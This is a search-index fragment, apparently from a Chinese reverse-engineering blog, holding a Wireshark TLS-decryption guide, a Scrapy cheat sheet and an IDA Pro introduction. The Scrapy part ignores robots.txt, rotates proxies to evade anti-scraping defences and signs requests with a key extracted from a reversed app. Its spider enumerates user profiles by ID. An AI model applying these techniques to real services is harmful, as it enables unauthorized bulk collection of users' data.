","date":"2024-09-24","objectID":"/reverse_engineering/web/02-tooling/wireshark_guide/:2:1","tags":["Web","代理池","Frida","SSL Pinning","Hook","抓包"],"title":"Wireshark 指南","uri":"/reverse_engineering/web/02-tooling/wireshark_guide/#常用过滤器"},{"categories":null,"collections":null,"content":"逻辑组合 ip.addr == 1.2.3.4 \u0026\u0026 tcp.port == 8080 || http ","date":"2024-09-24","objectID":"/reverse_engineering/web/02-tooling/wireshark_guide/:2:2","tags":["Web","代理池","Frida","SSL Pinning","Hook","抓包"],"title":"Wireshark 指南","uri":"/reverse_engineering/web/02-tooling/wireshark_guide/#逻辑组合"},{"categories":null,"collections":null,"content":"2. TLS 解密 (关键！) 默认情况下，Wireshark 抓到的 HTTPS 包全是乱码（TLS Encrypted Alert）。我们需要导入密钥才能解密。 ","date":"2024-09-24","objectID":"/reverse_engineering/web/02-tooling/wireshark_guide/:3:0","tags":["Web","代理池","Frida","SSL Pinning","Hook","抓包"],"title":"Wireshark 指南","uri":"/reverse_engineering/web/02-tooling/wireshark_guide/#2-tls-解密-关键"},{"categories":null,"collections":null,"content":"浏览器环境 (Key Log) Chrome 和 Firefox 支持将 TLS 会话密钥导出到文件。 设置环境变量: Windows: set SSLKEYLOGFILE=C:\\keys\\ssl.log Mac/Linux: export SSLKEYLOGFILE=~/ssl.log 启动浏览器: 在同一个终端中启动浏览器（open -a \"Google Chrome\"）。 配置 Wireshark: Preferences -\u003e Protocols -\u003e TLS (或 SSL)。 在 (Pre)-Master-Secret log filename 中选择刚才的 ssl.log 文件。 此时，Wireshark 中的 TLS 包会自动变成解密后的 HTTP2/HTTP1.1 明文。 ","date":"2024-09-24","objectID":"/reverse_engineering/web/02-tooling/wireshark_guide/:3:1","tags":["Web","代理池","Frida","SSL Pinning","Hook","抓包"],"title":"Wireshark 指南","uri":"/reverse_engineering/web/02-tooling/wireshark_guide/#浏览器环境-key-log"},{"categories":null,"collections":null,"content":"移动端环境 对于安卓 APP，很难直接导出 Key Log。通常的做法是： 使用 Frida 脚本 Hook OpenSSL 库的 SSL_CTX_set_keylog_callback，将密钥 dump 出来并通过 adb 传回 PC。 或者直接使用基于 Frida 的抓包工具（如 r0capture）直接保存解密后的 pcap。 ","date":"2024-09-24","objectID":"/reverse_engineering/web/02-tooling/wireshark_guide/:3:2","tags":["Web","代理池","Frida","SSL Pinning","Hook","抓包"],"title":"Wireshark 指南","uri":"/reverse_engineering/web/02-tooling/wireshark_guide/#移动端环境"},{"categories":null,"collections":null,"content":"3. 追踪流 (Follow Stream) 右键任意一个数据包 -\u003e Follow -\u003e TCP Stream (或 TLS Stream / HTTP Stream)。 这会把属于同一个连接的所有数据包重组成完整的对话内容，非常便于分析私有协议的握手和交互逻辑。 ","date":"2024-09-24","objectID":"/reverse_engineering/web/02-tooling/wireshark_guide/:4:0","tags":["Web","代理池","Frida","SSL Pinning","Hook","抓包"],"title":"Wireshark 指南","uri":"/reverse_engineering/web/02-tooling/wireshark_guide/#3-追踪流-follow-stream"},{"categories":null,"collections":null,"content":"总结 Wireshark 的学习门槛较高，但在处理非标协议或底层网络对抗时，它是无可替代的终极工具。 ","date":"2024-09-24","objectID":"/reverse_engineering/web/02-tooling/wireshark_guide/:5:0","tags":["Web","代理池","Frida","SSL Pinning","Hook","抓包"],"title":"Wireshark 指南","uri":"/reverse_engineering/web/02-tooling/wireshark_guide/#总结"},{"categories":null,"collections":null,"content":"Scrapy 快速入门备忘录 📚 前置知识 本配方涉及以下核心技术，建议先阅读相关章节： Python 基础 - 掌握类、装饰器、生成器等概念 HTTP 协议 - 理解请求响应、Headers、Cookies Scrapy 是一个用于网络爬虫和数据抓取的、开源的、协作式的 Python 框架。它具有速度快、功能强大、可扩展性高的特点。本备忘录为 Scrapy 的核心概念和常用命令提供快速参考。 ","date":"2024-09-20","objectID":"/reverse_engineering/android/01-recipes/automation/scrapy/:0:0","tags":["自动化","Android","代理池"],"title":"Scrapy 快速入门备忘录","uri":"/reverse_engineering/android/01-recipes/automation/scrapy/#scrapy-快速入门备忘录"},{"categories":null,"collections":null,"content":"Scrapy 框架概述 ","date":"2024-09-20","objectID":"/reverse_engineering/android/01-recipes/automation/scrapy/:1:0","tags":["自动化","Android","代理池"],"title":"Scrapy 快速入门备忘录","uri":"/reverse_engineering/android/01-recipes/automation/scrapy/#scrapy-框架概述"},{"categories":null,"collections":null,"content":"核心组件 组件 职责 关键接口 Engine (引擎) 控制所有组件之间的数据流，触发事件 ExecutionEngine Scheduler (调度器) 接收 Request 并入队，按优先级提供给引擎 Scheduler Downloader (下载器) 获取页面数据，将 Response 返回引擎 Downloader Spiders (爬虫) 解析 Response，提取 Item 或额外 Request scrapy.Spider Item Pipeline (管道) 清洗、验证和持久化 Spider 提取的 Item process_item() Downloader Middlewares 引擎与下载器之间的请求/响应钩子 process_request() / process_response() Spider Middlewares 引擎与 Spider 之间的输入/输出钩子 process_spider_input() / process_spider_output() ","date":"2024-09-20","objectID":"/reverse_engineering/android/01-recipes/automation/scrapy/:1:1","tags":["自动化","Android","代理池"],"title":"Scrapy 快速入门备忘录","uri":"/reverse_engineering/android/01-recipes/automation/scrapy/#核心组件"},{"categories":null,"collections":null,"content":"数据流 ┌────────┐ Request ┌────────┐ Request ┌────────────┐ Request ┌────────────┐ │ Spider │────────►│ Engine │───────►│ Scheduler │───────►│ Downloader │ │ │◄────────│ │◄───────│ │◄───────│ │ └────────┘Response └────────┘ └────────────┘Response└────────────┘ │ ▲ │ │ Items Downloader Middlewares ▼ ┌──────────────┐ │ Item Pipeline│ └──────────────┘ Spider → Request → Engine → Scheduler 排队 Scheduler → Request → Downloader Middleware → Downloader Downloader → Response → Engine → Spider Middleware → Spider Spider → Item / 新 Request → Engine 分发到 Pipeline / Scheduler ","date":"2024-09-20","objectID":"/reverse_engineering/android/01-recipes/automation/scrapy/:1:2","tags":["自动化","Android","代理池"],"title":"Scrapy 快速入门备忘录","uri":"/reverse_engineering/android/01-recipes/automation/scrapy/#数据流"},{"categories":null,"collections":null,"content":"项目搭建 pip install scrapy scrapy startproject myproject \u0026\u0026 cd myproject scrapy genspider example example.com ","date":"2024-09-20","objectID":"/reverse_engineering/android/01-recipes/automation/scrapy/:2:0","tags":["自动化","Android","代理池"],"title":"Scrapy 快速入门备忘录","uri":"/reverse_engineering/android/01-recipes/automation/scrapy/#项目搭建"},{"categories":null,"collections":null,"content":"目录结构 myproject/ ├── scrapy.cfg # 部署配置 └── myproject/ ├── items.py # Item 定义 ├── middlewares.py # 中间件 ├── pipelines.py # 数据管道 ├── settings.py # 项目设置 └── spiders/ └── example.py # 爬虫文件 ","date":"2024-09-20","objectID":"/reverse_engineering/android/01-recipes/automation/scrapy/:2:1","tags":["自动化","Android","代理池"],"title":"Scrapy 快速入门备忘录","uri":"/reverse_engineering/android/01-recipes/automation/scrapy/#目录结构"},{"categories":null,"collections":null,"content":"常用命令 命令 描述 scrapy startproject myproject 创建新项目 scrapy genspider example example.com 创建爬虫 scrapy crawl example 运行爬虫 scrapy crawl example -o output.json 运行并导出 JSON scrapy shell \"http://example.com\" 启动交互式 Shell scrapy list 列出所有爬虫 scrapy view http://example.com 在浏览器中打开下载的页面 ","date":"2024-09-20","objectID":"/reverse_engineering/android/01-recipes/automation/scrapy/:2:2","tags":["自动化","Android","代理池"],"title":"Scrapy 快速入门备忘录","uri":"/reverse_engineering/android/01-recipes/automation/scrapy/#常用命令"},{"categories":null,"collections":null,"content":"settings.py 关键配置 BOT_NAME = \"myproject\" ROBOTSTXT_OBEY = False CONCURRENT_REQUESTS = 16 # 全局并发 CONCURRENT_REQUESTS_PER_DOMAIN = 8 DOWNLOAD_DELAY = 1 # 请求间隔（秒） DOWNLOAD_TIMEOUT = 30 DEFAULT_REQUEST_HEADERS = { \"Accept\": \"text/html,application/xhtml+xml,application/xml;q=0.9\", \"User-Agent\": \"Mozilla/5.0 (Linux; Android 12) AppleWebKit/537.36\", } LOG_LEVEL = \"INFO\" HTTPCACHE_ENABLED = True ","date":"2024-09-20","objectID":"/reverse_engineering/android/01-recipes/automation/scrapy/:2:3","tags":["自动化","Android","代理池"],"title":"Scrapy 快速入门备忘录","uri":"/reverse_engineering/android/01-recipes/automation/scrapy/#settingspy-关键配置"},{"categories":null,"collections":null,"content":"Spider 编写 ","date":"2024-09-20","objectID":"/reverse_engineering/android/01-recipes/automation/scrapy/:3:0","tags":["自动化","Android","代理池"],"title":"Scrapy 快速入门备忘录","uri":"/reverse_engineering/android/01-recipes/automation/scrapy/#spider-编写"},{"categories":null,"collections":null,"content":"基本 Spider import scrapy class ExampleSpider(scrapy.Spider): name = \"example\" allowed_domains = [\"example.com\"] start_urls = [\"http://example.com/\"] def parse(self, response): # CSS 选择器 title = response.css(\"h1::text\").get() links = response.css(\"a::attr(href)\").getall() # XPath 选择器 paragraphs = response.xpath(\"//div[@class='content']/p/text()\").getall() yield {\"title\": title, \"links\": links} ","date":"2024-09-20","objectID":"/reverse_engineering/android/01-recipes/automation/scrapy/:3:1","tags":["自动化","Android","代理池"],"title":"Scrapy 快速入门备忘录","uri":"/reverse_engineering/android/01-recipes/automation/scrapy/#基本-spider"},{"categories":null,"collections":null,"content":"CrawlSpider 与规则 from scrapy.spiders import CrawlSpider, Rule from scrapy.linkextractors import LinkExtractor class ProductSpider(CrawlSpider): name = \"product_crawler\" allowed_domains = [\"shop.example.com\"] start_urls = [\"https://shop.example.com/\"] rules = ( # 跟进分类页链接（不解析） Rule(LinkExtractor(allow=r\"/category/\\w+\"), follow=True), # 跟进详情页并解析 Rule(LinkExtractor(allow=r\"/product/\\d+\"), callback=\"parse_product\"), ) def parse_product(self, response): yield { \"name\": response.css(\"h1.product-title::text\").get(), \"price\": response.css(\"span.price::text\").get(), \"url\": response.url, } ","date":"2024-09-20","objectID":"/reverse_engineering/android/01-recipes/automation/scrapy/:3:2","tags":["自动化","Android","代理池"],"title":"Scrapy 快速入门备忘录","uri":"/reverse_engineering/android/01-recipes/automation/scrapy/#crawlspider-与规则"},{"categories":null,"collections":null,"content":"处理分页 def parse(self, response): for item in response.css(\"div.item\"): yield {\"title\": item.css(\"h2::text\").get()} # 方式一：跟进下一页 next_page = response.css(\"a.next-page::attr(href)\").get() if next_page: yield response.follow(next_page, callback=self.parse) # 方式二：已知页数时直接生成所有请求 def start_requests(self): for page in range(1, 51): yield scrapy.Request(f\"https://example.com/list?page={page}\", self.parse) ","date":"2024-09-20","objectID":"/reverse_engineering/android/01-recipes/automation/scrapy/:3:3","tags":["自动化","Android","代理池"],"title":"Scrapy 快速入门备忘录","uri":"/reverse_engineering/android/01-recipes/automation/scrapy/#处理分页"},{"categories":null,"collections":null,"content":"Item 与 Pipeline ","date":"2024-09-20","objectID":"/reverse_engineering/android/01-recipes/automation/scrapy/:4:0","tags":["自动化","Android","代理池"],"title":"Scrapy 快速入门备忘录","uri":"/reverse_engineering/android/01-recipes/automation/scrapy/#item-与-pipeline"},{"categories":null,"collections":null,"content":"定义 Item # myproject/items.py import scrapy class ProductItem(scrapy.Item): name = scrapy.Field() price = scrapy.Field() description = scrapy.Field() url = scrapy.Field() crawled_at = scrapy.Field() ","date":"2024-09-20","objectID":"/reverse_engineering/android/01-recipes/automation/scrapy/:4:1","tags":["自动化","Android","代理池"],"title":"Scrapy 快速入门备忘录","uri":"/reverse_engineering/android/01-recipes/automation/scrapy/#定义-item"},{"categories":null,"collections":null,"content":"数据清洗 Pipeline import re class CleanDataPipeline: def process_item(self, item, spider): if item.get(\"name\"): item[\"name\"] = item[\"name\"].strip() if item.get(\"price\"): item[\"price\"] = float(re.sub(r\"[^\\d.]\", \"\", item[\"price\"]) or 0) return item ","date":"2024-09-20","objectID":"/reverse_engineering/android/01-recipes/automation/scrapy/:4:2","tags":["自动化","Android","代理池"],"title":"Scrapy 快速入门备忘录","uri":"/reverse_engineering/android/01-recipes/automation/scrapy/#数据清洗-pipeline"},{"categories":null,"collections":null,"content":"导出为 JSON / CSV scrapy crawl product -o products.json # JSON scrapy crawl product -o products.csv # CSV scrapy crawl product -o products.jl # JSON Lines（适合大文件） ","date":"2024-09-20","objectID":"/reverse_engineering/android/01-recipes/automation/scrapy/:4:3","tags":["自动化","Android","代理池"],"title":"Scrapy 快速入门备忘录","uri":"/reverse_engineering/android/01-recipes/automation/scrapy/#导出为-json--csv"},{"categories":null,"collections":null,"content":"保存到 MongoDB import pymongo class MongoPipeline: @classmethod def from_crawler(cls, crawler): uri = crawler.settings.get(\"MONGO_URI\", \"mongodb://localhost:27017\") db = crawler.settings.get(\"MONGO_DATABASE\", \"scrapy_db\") return cls(uri, db) def __init__(self, uri, db): self.uri, self.db_name = uri, db def open_spider(self, spider): self.client = pymongo.MongoClient(self.uri) self.db = self.client[self.db_name] def close_spider(self, spider): self.client.close() def process_item(self, item, spider): self.db[\"products\"].insert_one(dict(item)) return item 在 settings.py 中激活管道（数字越小优先级越高）： ITEM_PIPELINES = { \"myproject.pipelines.CleanDataPipeline\": 100, # 先清洗 \"myproject.pipelines.MongoPipeline\": 300, # 再存储 } ","date":"2024-09-20","objectID":"/reverse_engineering/android/01-recipes/automation/scrapy/:4:4","tags":["自动化","Android","代理池"],"title":"Scrapy 快速入门备忘录","uri":"/reverse_engineering/android/01-recipes/automation/scrapy/#保存到-mongodb"},{"categories":null,"collections":null,"content":"Middleware 实战 💡 思路一句话: Scrapy Middleware 是在请求/响应管道中插入自定义处理逻辑的地方 — 用它来自动添加签名参数、轮换代理 IP、处理反爬验证码。 ","date":"2024-09-20","objectID":"/reverse_engineering/android/01-recipes/automation/scrapy/:5:0","tags":["自动化","Android","代理池"],"title":"Scrapy 快速入门备忘录","uri":"/reverse_engineering/android/01-recipes/automation/scrapy/#middleware-实战"},{"categories":null,"collections":null,"content":"随机 User-Agent import random class RandomUserAgentMiddleware: USER_AGENTS = [ \"Mozilla/5.0 (Linux; Android 12; Pixel 6) AppleWebKit/537.36 Chrome/101.0\", \"Mozilla/5.0 (iPhone; CPU iPhone OS 15_5 like Mac OS X) AppleWebKit/605.1.15\", \"Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 Chrome/102.0\", \"Mozilla/5.0 (Macintosh; Intel Mac OS X 12_4) AppleWebKit/537.36 Chrome/103.0\", ] def process_request(self, request, spider): request.headers[\"User-Agent\"] = random.choice(self.USER_AGENTS) ","date":"2024-09-20","objectID":"/reverse_engineering/android/01-recipes/automation/scrapy/:5:1","tags":["自动化","Android","代理池"],"title":"Scrapy 快速入门备忘录","uri":"/reverse_engineering/android/01-recipes/automation/scrapy/#随机-user-agent"},{"categories":null,"collections":null,"content":"代理轮换 class ProxyRotationMiddleware: def __init__(self): self.proxies = [ \"http://proxy1.example.com:8080\", \"http://proxy2.example.com:8080\", \"http://proxy3.example.com:8080\", ] def process_request(self, request, spider): request.meta[\"proxy\"] = random.choice(self.proxies) def process_exception(self, request, exception, spider): # 移除失效代理，返回 request 触发重新调度 failed = request.meta.get(\"proxy\") if failed in self.proxies: self.proxies.remove(failed) return request ","date":"2024-09-20","objectID":"/reverse_engineering/android/01-recipes/automation/scrapy/:5:2","tags":["自动化","Android","代理池"],"title":"Scrapy 快速入门备忘录","uri":"/reverse_engineering/android/01-recipes/automation/scrapy/#代理轮换"},{"categories":null,"collections":null,"content":"重试配置 # settings.py RETRY_ENABLED = True RETRY_TIMES = 3 RETRY_HTTP_CODES = [500, 502, 503, 504, 408, 429] ","date":"2024-09-20","objectID":"/reverse_engineering/android/01-recipes/automation/scrapy/:5:3","tags":["自动化","Android","代理池"],"title":"Scrapy 快速入门备忘录","uri":"/reverse_engineering/android/01-recipes/automation/scrapy/#重试配置"},{"categories":null,"collections":null,"content":"Selenium 集成 通过 request.meta[\"use_selenium\"] = True 标记需要 JS 渲染的请求： from selenium import webdriver from selenium.webdriver.chrome.options import Options from scrapy.http import HtmlResponse class SeleniumMiddleware: def __init__(self): opts = Options() opts.add_argument(\"--headless\") self.driver = webdriver.Chrome(options=opts) def process_request(self, request, spider): if not request.meta.get(\"use_selenium\"): return None self.driver.get(request.url) import time; time.sleep(3) return HtmlResponse(request.url, body=self.driver.page_source, encoding=\"utf-8\", request=request) def close_spider(self, spider): self.driver.quit() 注册中间件： DOWNLOADER_MIDDLEWARES = { \"myproject.middlewares.RandomUserAgentMiddleware\": 400, \"myproject.middlewares.ProxyRotationMiddleware\": 410, \"myproject.middlewares.SeleniumMiddleware\": 800, } ","date":"2024-09-20","objectID":"/reverse_engineering/android/01-recipes/automation/scrapy/:5:4","tags":["自动化","Android","代理池"],"title":"Scrapy 快速入门备忘录","uri":"/reverse_engineering/android/01-recipes/automation/scrapy/#selenium-集成"},{"categories":null,"collections":null,"content":"反爬对抗 ","date":"2024-09-20","objectID":"/reverse_engineering/android/01-recipes/automation/scrapy/:6:0","tags":["自动化","Android","代理池"],"title":"Scrapy 快速入门备忘录","uri":"/reverse_engineering/android/01-recipes/automation/scrapy/#反爬对抗"},{"categories":null,"collections":null,"content":"Cookies 与 Session 管理 Scrapy 默认自动处理 Cookie（COOKIES_ENABLED = True）。登录场景： class LoginSpider(scrapy.Spider): name = \"login_spider\" def start_requests(self): yield scrapy.Request(\"https://example.com/login\", self.login) def login(self, response): return scrapy.FormRequest.from_response( response, formdata={\"username\": \"admin\", \"password\": \"123456\"}, callback=self.after_login) def after_login(self, response): if \"欢迎\" in response.text: yield scrapy.Request(\"https://example.com/dashboard\", self.parse) ","date":"2024-09-20","objectID":"/reverse_engineering/android/01-recipes/automation/scrapy/:6:1","tags":["自动化","Android","代理池"],"title":"Scrapy 快速入门备忘录","uri":"/reverse_engineering/android/01-recipes/automation/scrapy/#cookies-与-session-管理"},{"categories":null,"collections":null,"content":"验证码方案对比 方案 优点 缺点 第三方打码平台 准确率高、接入简单 有成本、依赖外部 OCR 本地识别 免费、离线 仅适用于简单验证码 机器学习模型 可定制 需训练数据 绕过策略 无额外成本 不一定可行 ","date":"2024-09-20","objectID":"/reverse_engineering/android/01-recipes/automation/scrapy/:6:2","tags":["自动化","Android","代理池"],"title":"Scrapy 快速入门备忘录","uri":"/reverse_engineering/android/01-recipes/automation/scrapy/#验证码方案对比"},{"categories":null,"collections":null,"content":"Splash 渲染 JS Splash 是轻量级 JS 渲染服务，比 Selenium 更适合大规模爬取： docker run -d -p 8050:8050 scrapinghub/splash pip install scrapy-splash # settings.py SPLASH_URL = \"http://localhost:8050\" DOWNLOADER_MIDDLEWARES = { \"scrapy_splash.SplashCookiesMiddleware\": 723, \"scrapy_splash.SplashMiddleware\": 725, } DUPEFILTER_CLASS = \"scrapy_splash.SplashAwareDupeFilter\" from scrapy_splash import SplashRequest class SplashSpider(scrapy.Spider): name = \"splash_spider\" def start_requests(self): yield SplashRequest(\"https://spa.example.com/\", self.parse, args={\"wait\": 3, \"images\": 0}) def parse(self, response): for item in response.css(\"div.dynamic-content\"): yield {\"text\": item.css(\"::text\").get()} ","date":"2024-09-20","objectID":"/reverse_engineering/android/01-recipes/automation/scrapy/:6:3","tags":["自动化","Android","代理池"],"title":"Scrapy 快速入门备忘录","uri":"/reverse_engineering/android/01-recipes/automation/scrapy/#splash-渲染-js"},{"categories":null,"collections":null,"content":"Scrapy + 逆向工程 在移动端逆向场景中，我们通过 Frida、抓包等手段破解了 App 的 API 签名算法后，可以将签名逻辑集成到 Scrapy 中间件，实现大规模自动化采集。 ","date":"2024-09-20","objectID":"/reverse_engineering/android/01-recipes/automation/scrapy/:7:0","tags":["自动化","Android","代理池"],"title":"Scrapy 快速入门备忘录","uri":"/reverse_engineering/android/01-recipes/automation/scrapy/#scrapy--逆向工程"},{"categories":null,"collections":null,"content":"自定义签名中间件 假设某 App 的 API 需要 X-Sign 头部，签名算法为 MD5(path + timestamp + secret_key)： import hashlib import time from urllib.parse import urlparse class ApiSignMiddleware: SECRET_KEY = \"a1b2c3d4e5f6\" # 通过逆向 App 获得 def process_request(self, request, spider): if not request.meta.get(\"need_sign\"): return None timestamp = str(int(time.time())) path = urlparse(request.url).path sign = hashlib.md5(f\"{path}{timestamp}{self.SECRET_KEY}\".encode()).hexdigest() request.headers[\"X-Sign\"] = sign request.headers[\"X-Timestamp\"] = timestamp ","date":"2024-09-20","objectID":"/reverse_engineering/android/01-recipes/automation/scrapy/:7:1","tags":["自动化","Android","代理池"],"title":"Scrapy 快速入门备忘录","uri":"/reverse_engineering/android/01-recipes/automation/scrapy/#自定义签名中间件"},{"categories":null,"collections":null,"content":"在 Spider 中调用逆向 API class AppApiSpider(scrapy.Spider): name = \"app_api\" custom_settings = {\"DOWNLOADER_MIDDLEWARES\": {\"myproject.middlewares.ApiSignMiddleware\": 543}} def start_requests(self): for uid in range(1, 1001): yield scrapy.Request(f\"https://api.example.com/v2/user/{uid}/profile\", meta={\"need_sign\": True}, callback=self.parse_profile) def parse_profile(self, response): d = response.json() yield {\"user_id\": d.get(\"uid\"), \"nickname\": d.get(\"nickname\")} ","date":"2024-09-20","objectID":"/reverse_engineering/android/01-recipes/automation/scrapy/:7:2","tags":["自动化","Android","代理池"],"title":"Scrapy 快速入门备忘录","uri":"/reverse_engineering/android/01-recipes/automation/scrapy/#在-spider-中调用逆向-api"},{"categories":null,"collections":null,"content":"性能调优 ","date":"2024-09-20","objectID":"/reverse_engineering/android/01-recipes/automation/scrapy/:8:0","tags":["自动化","Android","代理池"],"title":"Scrapy 快速入门备忘录","uri":"/reverse_engineering/android/01-recipes/automation/scrapy/#性能调优"},{"categories":null,"collections":null,"content":"并发与延迟 配置项 默认值 说明 CONCURRENT_REQUESTS 16 全局最大并发 CONCURRENT_REQUESTS_PER_DOMAIN 8 同域名最大并发 CONCURRENT_REQUESTS_PER_IP 0 同 IP 最大并发 DOWNLOAD_DELAY 0 请求间隔（秒） RANDOMIZE_DOWNLOAD_DELAY True 0.5x~1.5x 随机化延迟 DOWNLOAD_TIMEOUT 180 下载超时（秒） ","date":"2024-09-20","objectID":"/reverse_engineering/android/01-recipes/automation/scrapy/:8:1","tags":["自动化","Android","代理池"],"title":"Scrapy 快速入门备忘录","uri":"/reverse_engineering/android/01-recipes/automation/scrapy/#并发与延迟"},{"categories":null,"collections":null,"content":"AutoThrottle 自动限速 根据服务器响应时间自动调整爬取速度： AUTOTHROTTLE_ENABLED = True AUTOTHROTTLE_START_DELAY = 2 # 初始延迟 AUTOTHROTTLE_MAX_DELAY = 30 # 最大延迟 AUTOTHROTTLE_TARGET_CONCURRENCY = 2.0 AUTOTHROTTLE_DEBUG = True # 查看限速日志 ","date":"2024-09-20","objectID":"/reverse_engineering/android/01-recipes/automation/scrapy/:8:2","tags":["自动化","Android","代理池"],"title":"Scrapy 快速入门备忘录","uri":"/reverse_engineering/android/01-recipes/automation/scrapy/#autothrottle-自动限速"},{"categories":null,"collections":null,"content":"其他优化 DNSCACHE_ENABLED = True # DNS 缓存 DNSCACHE_SIZE = 10000 TELNETCONSOLE_ENABLED = False # 关闭不必要功能 COOKIES_ENABLED = False # 不需要时关闭 TWISTED_REACTOR = \"twisted.internet.asyncioreactor.AsyncioSelectorReactor\" ","date":"2024-09-20","objectID":"/reverse_engineering/android/01-recipes/automation/scrapy/:8:3","tags":["自动化","Android","代理池"],"title":"Scrapy 快速入门备忘录","uri":"/reverse_engineering/android/01-recipes/automation/scrapy/#其他优化"},{"categories":null,"collections":null,"content":"部署方案 ","date":"2024-09-20","objectID":"/reverse_engineering/android/01-recipes/automation/scrapy/:9:0","tags":["自动化","Android","代理池"],"title":"Scrapy 快速入门备忘录","uri":"/reverse_engineering/android/01-recipes/automation/scrapy/#部署方案"},{"categories":null,"collections":null,"content":"Scrapyd 部署 pip install scrapyd scrapyd-client scrapyd # 启动服务 http://localhost:6800 scrapyd-deploy default -p myproject # 部署项目 API 端点 方法 说明 /schedule.json POST 调度运行爬虫 /cancel.json POST 取消运行中的爬虫 /listprojects.json GET 列出所有项目 /listjobs.json GET 列出所有任务状态 # 调度爬虫 curl http://localhost:6800/schedule.json -d project=myproject -d spider=example # 查看状态 curl http://localhost:6800/listjobs.json?project=myproject ","date":"2024-09-20","objectID":"/reverse_engineering/android/01-recipes/automation/scrapy/:9:1","tags":["自动化","Android","代理池"],"title":"Scrapy 快速入门备忘录","uri":"/reverse_engineering/android/01-recipes/automation/scrapy/#scrapyd-部署"},{"categories":null,"collections":null,"content":"Docker 部署 FROM python:3.11-slim WORKDIR /app COPY requirements.txt . RUN pip install --no-cache-dir -r requirements.txt COPY . . CMD [\"scrapy\", \"crawl\", \"example\", \"-o\", \"/data/output.json\"] 配合 docker-compose.yml 可同时启动 MongoDB、Splash、Scrapyd 等服务。 ","date":"2024-09-20","objectID":"/reverse_engineering/android/01-recipes/automation/scrapy/:9:2","tags":["自动化","Android","代理池"],"title":"Scrapy 快速入门备忘录","uri":"/reverse_engineering/android/01-recipes/automation/scrapy/#docker-部署"},{"categories":null,"collections":null,"content":"定时爬取 crontab -e # 每天凌晨 2 点 0 2 * * * cd /path/to/myproject \u0026\u0026 scrapy crawl example -o /data/$(date +\\%Y\\%m\\%d).json \u003e\u003e /var/log/scrapy.log 2\u003e\u00261 # 每 6 小时 0 */6 * * * cd /path/to/myproject \u0026\u0026 scrapy crawl example 提示： 生产环境推荐 Scrapyd + Docker + crontab 组合。更复杂的调度需求可使用 Airflow 或 Celery Beat。 ","date":"2024-09-20","objectID":"/reverse_engineering/android/01-recipes/automation/scrapy/:9:3","tags":["自动化","Android","代理池"],"title":"Scrapy 快速入门备忘录","uri":"/reverse_engineering/android/01-recipes/automation/scrapy/#定时爬取"},{"categories":null,"collections":null,"content":"IDA Pro 入门 IDA Pro (Interactive Disassembler Professional) 是由 Hex-Rays 公司开发的一款业界闻名的交互式反汇编器。在逆向工程领域，IDA Pro 被广泛认为是黄金标准，以其最强大的反汇编引擎、无与伦比的处理器支持和极其成熟的生态系统，成为专业人士进行软件分析、漏洞挖掘和恶意软件研究的首选工具。 ","date":"2024-09-06","objectID":"/reverse_engineering/android/02-tools/static/ida_pro_guide/:0:0","tags":["静态分析","签名验证","Ghidra","IDA","Android","IDA Pro"],"title":"IDA Pro 入门","uri":"/reverse_engineering/android/02-tools/static/ida_pro_guide/#ida-pro-入门"},{"categories":null,"collections":null,"content":"核心特性 ","date":"2024-09-06","objectID":"/reverse_engineering/android/02-tools/static/ida_pro_guide/:1:0","tags":["静态分析","签名验证","Ghidra","IDA","Android","IDA Pro"],"title":"IDA Pro 入门","uri":"/reverse_engineering/android/02-tools/static/ida_pro_guide/#核心特性"},{"categories":null,"collections":null,"content":"顶级的反汇编引擎 IDA Pro 的核心竞争力在于其无与伦比的静态反汇编能力。它能够智能地、递归地遍历代码，区分代码与数据，识别函数边界，其分析结果的准确性是业界公认的最高水准。 ","date":"2024-09-06","objectID":"/reverse_engineering/android/02-tools/static/ida_pro_guide/:1:1","tags":["静态分析","签名验证","Ghidra","IDA","Android","IDA Pro"],"title":"IDA Pro 入门","uri":"/reverse_engineering/android/02-tools/static/ida_pro_guide/#顶级的反汇编引擎"},{"categories":null,"collections":null,"content":"FLIRT 技术 Fast Library Identification and Recognition Technology。这是 IDA 的标志性技术，通过对标准编译器库函数的签名进行模式匹配，能够自动识别并命名大量的库函数，极大地减少了逆向工程师的重复工作。 ","date":"2024-09-06","objectID":"/reverse_engineering/android/02-tools/static/ida_pro_guide/:1:2","tags":["静态分析","签名验证","Ghidra","IDA","Android","IDA Pro"],"title":"IDA Pro 入门","uri":"/reverse_engineering/android/02-tools/static/ida_pro_guide/#flirt-技术"},{"categories":null,"collections":null,"content":"强大的交互性 IDA 的设计哲学鼓励用户与反汇编结果进行交互。用户可以随时重命名变量、修改类型、添加注释、转换数据格式，这些交互操作会实时地影响整个分析数据库。 ","date":"2024-09-06","objectID":"/reverse_engineering/android/02-tools/static/ida_pro_guide/:1:3","tags":["静态分析","签名验证","Ghidra","IDA","Android","IDA Pro"],"title":"IDA Pro 入门","uri":"/reverse_engineering/android/02-tools/static/ida_pro_guide/#强大的交互性"},{"categories":null,"collections":null,"content":"Hex-Rays 反编译器 IDA Pro 的杀手级应用是其配套的 Hex-Rays 反编译器。虽然需要额外付费，但它被公认为目前市面上最强大的 C/C++ 反编译器，生成的伪代码质量极高，可读性极强。 ","date":"2024-09-06","objectID":"/reverse_engineering/android/02-tools/static/ida_pro_guide/:1:4","tags":["静态分析","签名验证","Ghidra","IDA","Android","IDA Pro"],"title":"IDA Pro 入门","uri":"/reverse_engineering/android/02-tools/static/ida_pro_guide/#hex-rays-反编译器"},{"categories":null,"collections":null,"content":"多平台调试器 内置了强大的跨平台调试器，支持本地和远程调试，允许动态分析和修改程序行为。 ","date":"2024-09-06","objectID":"/reverse_engineering/android/02-tools/static/ida_pro_guide/:1:5","tags":["静态分析","签名验证","Ghidra","IDA","Android","IDA Pro"],"title":"IDA Pro 入门","uri":"/reverse_engineering/android/02-tools/static/ida_pro_guide/#多平台调试器"},{"categories":null,"collections":null,"content":"极其丰富的插件生态 经过数十年的发展，IDA Pro 积累了海量的第三方插件，覆盖了从漏洞扫描、代码着色、数据解密到与其他工具联动的方方面面，极大地扩展了其功能边界。 ","date":"2024-09-06","objectID":"/reverse_engineering/android/02-tools/static/ida_pro_guide/:1:6","tags":["静态分析","签名验证","Ghidra","IDA","Android","IDA Pro"],"title":"IDA Pro 入门","uri":"/reverse_engineering/android/02-tools/static/ida_pro_guide/#极其丰富的插件生态"},{"categories":null,"collections":null,"content":"IDA Pro vs. Ghidra vs. Radare2 特性 IDA Pro Ghidra Radare2 价格 非常昂贵 完全免费 完全免费 开源 否 是 (Java) 是 (C) 核心优势 最强的交互式反汇编 高质量的免费反编译器 极致的脚本化和命令行 UI Qt，业界标准，成熟稳定 Java Swing，功能强大但略显笨重 